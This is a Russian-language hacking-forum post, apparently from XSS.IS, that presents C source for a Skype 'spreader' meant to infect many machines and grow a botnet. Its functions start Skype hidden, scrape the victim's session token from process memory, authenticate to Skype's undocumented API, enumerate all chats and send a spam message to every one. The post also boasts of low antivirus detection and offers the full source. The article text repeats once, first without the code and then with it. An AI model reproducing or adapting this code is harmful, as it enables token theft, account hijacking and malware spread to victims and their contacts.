D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Авторская статья специально для XSS.IS
Автор: malware_cryptor
В данной статье я хочу рассказать о таком виде вируса как spreader, написать собственную реализацию конкретно для мессенджера - скайпа
Что из себя представляет данный вид вируса и для чего он нужен вообще? Основная цель данного вида вируса — заразить как можно больше устройств в перспективе, может использоваться для увеличения численности ботнета
В контексте статьи я хочу рассказать именно про рассылку сообщений
Схема работы:
Как видно из схемы:
1. Необходимо проверить установлен ли мессенджер
2. Обновить токен пользователя(например запустить процесс)
3. Украсть токен
4. Эмулировать авторизацию пользователя
5. Получить список айди всех чатов
6. Выполнить рассылку сообщений
Все, что нужно знать о токене
Токен пользователя скайпа хранится в базе данных Cookies по пути C:\Users\<USER>\AppData\Roaming\Microsoft\Skype for Desktop\Network
Токен живет 24 часа, если он истекает — скайп обновляет его каким то своим алгоритмам, которые мне не удалось познать и понять, поэтому мы будем манипулировать приложением мессенджера для обновления токена
База данных и ее структура:
Во время работы мессенджер не блокирует базу данных
Скайп читает токен, если он устарел — обновляет, но сразу не обновляет в базе данных
Для того, чтобы токен обновился в базе данных — необходимо сначало отправить сообщение через графический интерфейс, но я же буду забирать токен с памяти процесса
Проверяем установлен ли скайп на пк жертвы
Приложение может быть как х32, так и х64
х32 приложения на х64 системе устанавливаются в C:\Program Files (x86)
В остальных случаях устанавка происходит в C:\Program Files
Таким образом имеем:
Сначало проверим запущен ли уже скайп
Я перебираю процессы, сравниваю имя каждого с именем искомого, если имя совпадает, то открываю процесс при помощи OpenProcess с уровнем доступа PROCESS_QUERY_INFORMATION для получения информации о страницах памяти процесса, а также PROCESS_VM_READ для непосредственного чтения этой памяти.
Спойлер: GetProcess
C: Скопировать в буфер обмена
Если процесс мессенджера не запущен, то пытаемся его запустить, разумеется в скрытом режиме — без окна, для этого заполняем структуру STARTUPINFOA:
Код: Скопировать в буфер обмена
В цикле перебираем 2 возможных пути до приложения, пытаемся запустить при помощи CreateProcessA, если удается запустить процесс — закрываем дескриптор потока (чтобы не висел в памяти просто так), возвращаем из функции дескриптор процесса.
Затем я делаю паузу 5 секунд, для того, чтобы мессенджер успел инициализироваться.
Спойлер: Код
C: Скопировать в буфер обмена
Ну и сам код функции
Спойлер: RunSkypeIfInstalled
C: Скопировать в буфер обмена
После проделанных манипуляций итерируем страницы памяти процесса, если тип страницы совпадает с MEM_PRIVATE, а ее состояние с MEM_COMMIT – выделяем область памяти в своем процессе, читаем память из скайпа в нее
Эту информацию я получил путем анализ памяти в system informer:
Спойлер: SkypeMemoryGetToken
C: Скопировать в буфер обмена
Путем проверки разных токенов от разных аккаунтов я выяснил, что длина токена равна 688 символам
Затем в скопированной памяти я ищу строку-префикс: «skypetoken=» сверяю длину найденной строки: она должна быть равной 688 + 11 = 699
Выделяю память под токен, копирую его туда, освобождаю скопированную память, возвращаю токен из функции
Завершаем процесс скайпа если он был создан искусственно, а не был изначально открыт на пк жертвы
Затем я инициализирую заголовки для HTTPS запросов:
Authorization с значением формата «skypetoken TOKEN» для авторизации пользователя, а также же Authentication с значением формата «skypetoken=TOKEN» для дальнейших действий с недокументированным апи
Спойлер: CreateHeaders
C: Скопировать в буфер обмена
Для работы с апи необходимо указать заголовок MS-IC3-Product со строковым значением Sfl
Эмулируем авторизацию пользователя:
Посредством сгенерированных ранее заголовков отправляем post запрос по адресу api.asm.skype.com с путем v1/skypetokenauth при успешной авторизации статус код должен быть равным 204, и ответ соответственно должен быть пустым
Спойлер: SkypeTokenAuth
C: Скопировать в буфер обмена
Получить список айди всех чатов
Мне удалось нагуглить библиотеку для питона, некоторая информация из нее помогла мне понять что к чему и определить дальнейший порядок действий, ссылку также прилагаю
https://skpy[.]t[.]allofti[.]me/background/index.html
В ответе данного апи содержится жсон следующего формата:
здесь мы видим список других жсонов, проанализировав их мой взгляд упал на поле messages
Покопавшись еще в http analyzer, проанализировал запросы исходящие в момент отправки сообщения в мессенджере — я нашел это:
Мне удалось отправить сообщения протестировав пост запросы к юрл-значению из вышеупомянутого поля messages с параметрами от неофициальной документации
Но есть нюанс: некоторые жсоны указывают на юзернейм несуществующего пользователя, hex-id совпадает, а префикс нет
Настоящий же айди: live:8e2acf54b3811562
Отбрасывать айди с точкой и cid префиксом оказалось не нашим вариантом, так как настоящие пользователи могут иметь айди с этими префиксами, поэтому было принято решение забить болт на сортировку этих айдишников, ничего плохого от этого не будет.
Для извлечения данных из жсона я использовал самописную функцию, не стал тащить полноценный жсон парсер:
Спойлер: JsonTextGetValue
Код: Скопировать в буфер обмена
Функция для извлечения значений от ключа messages из жсона:
Спойлер: SkypeGetSendMessageUrls
C: Скопировать в буфер обмена
Выполняем рассылку сообщений
На скрине видно формат отправляемого сообщения, он имеет вид жсона, который включает в себя 3 обязательных элемента:
messagetype – я буду использовать для отправки текста RichText, подробнее можно прочитать в неофициальной документации, ссылку также прилагаю:
https://skpy[.]t[.]allofti[.]me/background/protocol/chats[.]html#messages
contenttype – я буду использовать значение «text», такое же как в отловленном хттпс запросе
content – непосредственно сам отправляемый контент, зависит от messagetype
Код отправки сообщений:
Спойлер: Код
C: Скопировать в буфер обмена
Каким то образом удалось даже обойти ограничение:
Да и в целом в плане защиты у скайпа не очень
Тестирование на антивирусах:
Скан VirusTotal:
Имеем 2 из 72 детектов, при желании почистить не проблема
На рантайм не вижу смысла кидать, так как сомневаюсь, что на вмках установлен скайп
Заключение:
Изначально я планировал выложить статью на конкурс, но посчитал что уровень статьи не тот, в другой раз подготовлю материал
Сурс код прилагаю в архиве, пароль местный
P.S. посоветуйте куда архив лучше загрузить, на экспе 1к загрузок и 30 дней максимум
Автор: malware_cryptor
В данной статье я хочу рассказать о таком виде вируса как spreader, написать собственную реализацию конкретно для мессенджера - скайпа
Что из себя представляет данный вид вируса и для чего он нужен вообще? Основная цель данного вида вируса — заразить как можно больше устройств в перспективе, может использоваться для увеличения численности ботнета
В контексте статьи я хочу рассказать именно про рассылку сообщений
Схема работы:
Как видно из схемы:
1. Необходимо проверить установлен ли мессенджер
2. Обновить токен пользователя(например запустить процесс)
3. Украсть токен
4. Эмулировать авторизацию пользователя
5. Получить список айди всех чатов
6. Выполнить рассылку сообщений
Все, что нужно знать о токене
Токен пользователя скайпа хранится в базе данных Cookies по пути C:\Users\<USER>\AppData\Roaming\Microsoft\Skype for Desktop\Network
Токен живет 24 часа, если он истекает — скайп обновляет его каким то своим алгоритмам, которые мне не удалось познать и понять, поэтому мы будем манипулировать приложением мессенджера для обновления токена
База данных и ее структура:
Во время работы мессенджер не блокирует базу данных
Скайп читает токен, если он устарел — обновляет, но сразу не обновляет в базе данных
Для того, чтобы токен обновился в базе данных — необходимо сначало отправить сообщение через графический интерфейс, но я же буду забирать токен с памяти процесса
Проверяем установлен ли скайп на пк жертвы
Приложение может быть как х32, так и х64
х32 приложения на х64 системе устанавливаются в C:\Program Files (x86)
В остальных случаях устанавка происходит в C:\Program Files
Таким образом имеем:
C:\\Program Files (x86)\\Microsoft\\Skype for Desktop\\Skype.exe
C:\\Program Files\\Microsoft\\Skype for Desktop\\Skype.exe
Сначало проверим запущен ли уже скайп
Я перебираю процессы, сравниваю имя каждого с именем искомого, если имя совпадает, то открываю процесс при помощи OpenProcess с уровнем доступа PROCESS_QUERY_INFORMATION для получения информации о страницах памяти процесса, а также PROCESS_VM_READ для непосредственного чтения этой памяти.
Спойлер: GetProcess
C: Скопировать в буфер обмена
Код:
HANDLE GetProcess(WCHAR* ProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
debug_printf("CreateToolhelp32Snapshot return -1\n");
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
int ret = Process32FirstW(hSnapshot, &pe32);
if (!ret)
{
debug_printf("Process32FirstW return 0\n");
CloseHandle(hSnapshot);
return 0;
}
HANDLE hProcess = 0;
do
{
// debug_printf("szExeFile: '%S'\n", pe32.szExeFile);
if(wcscmp(pe32.szExeFile, ProcessName) == 0)
{
debug_printf("Found process: %S (PID: %d)\n", pe32.szExeFile, pe32.th32ProcessID);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if(!hProcess)
{
debug_printf("OpenProcess return 0, GLE: %d\n", GetLastError());
}
break;
}
}
while(Process32NextW(hSnapshot, &pe32));
CloseHandle(hSnapshot);
return hProcess;
}
Код: Скопировать в буфер обмена
Код:
STARTUPINFOA SI = {0};
SI.cb = sizeof(STARTUPINFOA);
SI.dwFlags = STARTF_USESHOWWINDOW;
SI.wShowWindow = SW_HIDE;
В цикле перебираем 2 возможных пути до приложения, пытаемся запустить при помощи CreateProcessA, если удается запустить процесс — закрываем дескриптор потока (чтобы не висел в памяти просто так), возвращаем из функции дескриптор процесса.
Затем я делаю паузу 5 секунд, для того, чтобы мессенджер успел инициализироваться.
Спойлер: Код
C: Скопировать в буфер обмена
Код:
BOOL need_kill = 0;
WCHAR* headers = 0;
char** urls = 0;
HANDLE hProcess = GetProcess(L"Skype.exe");
if(!hProcess)
{
hProcess = RunSkypeIfInstalled();
if(!hProcess)
{
debug_printf("Skype not installed!\n");
return 0;
}
need_kill = 1;
Sleep(5000); // wait for skype init
}
Ну и сам код функции
Спойлер: RunSkypeIfInstalled
C: Скопировать в буфер обмена
Код:
HANDLE RunSkypeIfInstalled()
{
STARTUPINFOA SI = {0};
PROCESS_INFORMATION PI = {0};
SI.cb = sizeof(STARTUPINFOA);
SI.dwFlags = STARTF_USESHOWWINDOW;
SI.wShowWindow = SW_HIDE;
for(int i = 0; i < 2; i++)
{
int ret = CreateProcessA(skype_paths[i], 0, 0, 0, 0, CREATE_NO_WINDOW, 0, 0, &SI, &PI);
if(!ret) continue;
// Sleep(5000); // wait for skype init
// TerminateProcess(PI.hProcess, 0);
// CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
return PI.hProcess;
}
return 0;
}
После проделанных манипуляций итерируем страницы памяти процесса, если тип страницы совпадает с MEM_PRIVATE, а ее состояние с MEM_COMMIT – выделяем область памяти в своем процессе, читаем память из скайпа в нее
Эту информацию я получил путем анализ памяти в system informer:
Спойлер: SkypeMemoryGetToken
C: Скопировать в буфер обмена
Код:
char* SkypeMemoryGetToken(HANDLE hProcess)
{
char sToken[] = "skypetoken=";
int TokenLen = 688;
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// debug_printf("maxaddress: 0x%llx\n", sysInfo.lpMaximumApplicationAddress);
char* cur_search_address = 0;
MEMORY_BASIC_INFORMATION mbi;
while (cur_search_address < sysInfo.lpMaximumApplicationAddress)
{
if (VirtualQueryEx(hProcess, cur_search_address, &mbi, sizeof(mbi)) == sizeof(mbi))
{
cur_search_address = (char*)mbi.BaseAddress + mbi.RegionSize;
void* address = mbi.BaseAddress;
if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT)
{
// address = (char*)mbi.AllocationBase + mbi.RegionSize;
// debug_printf("Addr: 0x%llx\n", address);
// debug_printf("Size: 0x%x\n", mbi.RegionSize);
// debug_printf("Type: 0x%x\n", mbi.Type);
// debug_printf("Protect: 0x%x\n\n", mbi.Protect);
// if(mbi.AllocationProtect | 0x2)
// {
char* MemBlock = malloc(mbi.RegionSize);
if(!MemBlock)
{
debug_printf("malloc ret 0, size: %d KB\n", mbi.RegionSize / 1024);
continue;
}
int ret = ReadProcessMemory(hProcess, address, MemBlock, mbi.RegionSize, 0);
if(!ret)
{
free(MemBlock);
// debug_printf("ReadProcessMemory ret 0, GLE: %d\n", GetLastError());
continue;
}
char* sToken_start = memmem_ff(MemBlock, mbi.RegionSize, sToken, sizeof(sToken) - 1);
if(!sToken_start)
{
free(MemBlock);
continue;
}
// debug_printf("sToken_start: %s\n", sToken_start);
if(strlen(sToken_start) != TokenLen + sizeof(sToken) - 1)
{
free(MemBlock);
continue;
}
char* SkypeToken = malloc(TokenLen + 1);
if(!SkypeToken)
{
free(MemBlock);
continue;
}
memcpy(SkypeToken, sToken_start + sizeof(sToken) - 1, TokenLen + 1);
// SkypeToken[TokenLen] = '\0';
free(MemBlock);
return SkypeToken;
}
}
else
{
break;
}
// address = (char*)mbi.AllocationBase + mbi.RegionSize;
}
return 0;
}
Затем в скопированной памяти я ищу строку-префикс: «skypetoken=» сверяю длину найденной строки: она должна быть равной 688 + 11 = 699
Выделяю память под токен, копирую его туда, освобождаю скопированную память, возвращаю токен из функции
Завершаем процесс скайпа если он был создан искусственно, а не был изначально открыт на пк жертвы
Затем я инициализирую заголовки для HTTPS запросов:
Authorization с значением формата «skypetoken TOKEN» для авторизации пользователя, а также же Authentication с значением формата «skypetoken=TOKEN» для дальнейших действий с недокументированным апи
Спойлер: CreateHeaders
C: Скопировать в буфер обмена
Код:
WCHAR* CreateHeaders(char* token)
{
DWORD token_len = strlen(token) + 1;
// debug_printf("token_len: %d\n", token_len);
WCHAR* w_token = malloc(token_len * 2);
if(!w_token) return 0;
CharToWChar(w_token, token, token_len);
WCHAR* headers = malloc(3000 * 2);
if(!headers)
{
free(w_token);
return 0;
}
// debug_printf("1\n");
wcscpy(headers, L"Accept: application/json\n");
wcscat(headers, L"Content-Type: application/json\n");
wcscat(headers, L"MS-IC3-Product: Sfl\n");
wcscat(headers, L"Authorization: skype_token ");
wcscat(headers, w_token);
wcscat(headers, L"\n");
wcscat(headers, L"Authentication: skypetoken=");
wcscat(headers, w_token);
free(w_token);
return headers;
}
Для работы с апи необходимо указать заголовок MS-IC3-Product со строковым значением Sfl
Эмулируем авторизацию пользователя:
Посредством сгенерированных ранее заголовков отправляем post запрос по адресу api.asm.skype.com с путем v1/skypetokenauth при успешной авторизации статус код должен быть равным 204, и ответ соответственно должен быть пустым
Спойлер: SkypeTokenAuth
C: Скопировать в буфер обмена
Код:
BOOL SkypeTokenAuth(LPCWSTR headers, DWORD h_len)
{
CHAR* resp = 0;
DWORD StatusCode = 0;
DWORD resp_size = make_https(L"POST", L"api.asm.skype.com", L"v1/skypetokenauth", TRUE,
headers, h_len, 0, 0, &resp, &StatusCode);
if(resp) free(resp);
debug_printf("StatusCode: %d\n", StatusCode);
if(StatusCode != 204)
{
debug_printf("ERROR: auth failed!\n");
return 0;
}
else
{
return 1;
}
}
Получить список айди всех чатов
Мне удалось нагуглить библиотеку для питона, некоторая информация из нее помогла мне понять что к чему и определить дальнейший порядок действий, ссылку также прилагаю
https://skpy[.]t[.]allofti[.]me/background/index.html
В ответе данного апи содержится жсон следующего формата:
здесь мы видим список других жсонов, проанализировав их мой взгляд упал на поле messages
Покопавшись еще в http analyzer, проанализировал запросы исходящие в момент отправки сообщения в мессенджере — я нашел это:
Мне удалось отправить сообщения протестировав пост запросы к юрл-значению из вышеупомянутого поля messages с параметрами от неофициальной документации
Но есть нюанс: некоторые жсоны указывают на юзернейм несуществующего пользователя, hex-id совпадает, а префикс нет
Настоящий же айди: live:8e2acf54b3811562
Отбрасывать айди с точкой и cid префиксом оказалось не нашим вариантом, так как настоящие пользователи могут иметь айди с этими префиксами, поэтому было принято решение забить болт на сортировку этих айдишников, ничего плохого от этого не будет.
Для извлечения данных из жсона я использовал самописную функцию, не стал тащить полноценный жсон парсер:
Спойлер: JsonTextGetValue
Код: Скопировать в буфер обмена
Код:
char* JsonTextGetValue(char* json_text, const char* sKey, char EndCh, DWORD* valEndOffset)
{
char* key_start = strstr(json_text, sKey);
if(!key_start) return 0;
char* value_start = key_start + strlen(sKey);
char* value_end = strchr(value_start, EndCh);
DWORD value_len = value_end - value_start;
// debug_printf("value_len: %d\n", value_len);
// debug_printf("value_start: '%s'\n", value_start);
char* value = malloc(value_len + 1);
memcpy(value, value_start, value_len);
value[value_len] = '\0';
if(valEndOffset)
{
*valEndOffset = value_end - json_text;
}
return value;
}
Функция для извлечения значений от ключа messages из жсона:
Спойлер: SkypeGetSendMessageUrls
C: Скопировать в буфер обмена
Код:
char** SkypeGetSendMessageUrls(LPCWSTR headers, DWORD h_len, DWORD* names_count)
{
// const WCHAR url[] = L"https://msgapi.teams.live.com/v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype";
char* resp = 0;
DWORD StatusCode = 0;
DWORD resp_size = make_https(L"GET", L"client-s.gateway.messenger.live.com",
L"v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype",
TRUE, headers, h_len, 0, 0, &resp, &StatusCode);
if(StatusCode != 200 || !resp)
{
debug_printf("ERROR: get skype convers failed!\n");
if(resp) free(resp);
return 0;
}
// debug_printf("resp: %s\n", resp);
// "_metadata":{"totalCount":
char* CountStr = JsonTextGetValue(resp, "{\"totalCount\":", ',', 0);
if(!CountStr)
{
free(resp);
debug_printf("no count str\n");
return 0;
}
debug_printf("totalCount: %s\n", CountStr);
DWORD totalCount = atoi(CountStr);
free(CountStr);
if(!totalCount)
{
free(resp);
return 0;
}
char** urls = malloc(sizeof(char*) * totalCount);
if(!urls)
{
free(resp);
return 0;
}
DWORD offset = 0;
DWORD valEndOffset = 0;
for(int i = 0; i < totalCount; i++)
{
char* url = JsonTextGetValue(resp + offset, "\"messages\":\"", '"', &valEndOffset);
if(!url) break;
offset += valEndOffset;
urls[i] = url;
// debug_printf("offset: %d\n", offset);
// debug_printf("url: %s\n", url);
}
free(resp);
*names_count = totalCount;
return urls;
}
Выполняем рассылку сообщений
На скрине видно формат отправляемого сообщения, он имеет вид жсона, который включает в себя 3 обязательных элемента:
messagetype – я буду использовать для отправки текста RichText, подробнее можно прочитать в неофициальной документации, ссылку также прилагаю:
https://skpy[.]t[.]allofti[.]me/background/protocol/chats[.]html#messages
contenttype – я буду использовать значение «text», такое же как в отловленном хттпс запросе
content – непосредственно сам отправляемый контент, зависит от messagetype
Код отправки сообщений:
Спойлер: Код
C: Скопировать в буфер обмена
Код:
DWORD totalCount = 0;
urls = SkypeGetSendMessageUrls(headers, headersLen, &totalCount);
if(!urls) goto cleanup;
CHAR SpamMessage[64 + sizeof(SPAM_TEXT) + 2] = "{\"messagetype\": \"RichText\", \"contenttype\": \"text\", \"content\": \""; // Hello content"}
strcat(SpamMessage, SPAM_TEXT);
strcat(SpamMessage, "\"}");
debug_printf("SpamMessage: '%s'\n", SpamMessage);
CHAR* resp = 0;
DWORD StatusCode = 0;
for(int i = 0; i < totalCount; i++)
{
debug_printf("url: %s\n", urls[i]);
char* domain_start = urls[i] + 8;
char* path_start = strstr(domain_start, "/");
DWORD domain_len = path_start - domain_start;
DWORD path_len = strlen(path_start);
WCHAR* domain = malloc(domain_len * 2 + 2);
WCHAR* path = malloc(path_len * 2 + 2);
mbstowcs(domain, domain_start, domain_len);
mbstowcs(path, path_start, path_len);
domain[domain_len] = '\0';
path[path_len] = '\0';
free(urls[i]);
debug_printf("domain: '%S'\n", domain);
debug_printf("path: '%S'\n", path);
// delete
make_https(L"POST", domain, path, TRUE, headers, headersLen, SpamMessage, sizeof(SpamMessage) - 1, &resp, &StatusCode);
if(resp) free(resp);
free(domain);
free(path);
}
Каким то образом удалось даже обойти ограничение:
Да и в целом в плане защиты у скайпа не очень
Тестирование на антивирусах:
Скан VirusTotal:
https://www.virustotal.com/gui/file/cd8dca678100e5bc0a678bb8210d1b0d2feef2641f0051451b264d3d1b1d6400/detection
Имеем 2 из 72 детектов, при желании почистить не проблема
На рантайм не вижу смысла кидать, так как сомневаюсь, что на вмках установлен скайп
Заключение:
Изначально я планировал выложить статью на конкурс, но посчитал что уровень статьи не тот, в другой раз подготовлю материал
Сурс код прилагаю в архиве, пароль местный
P.S. посоветуйте куда архив лучше загрузить, на экспе 1к загрузок и 30 дней максимум
View hidden content is available for registered users!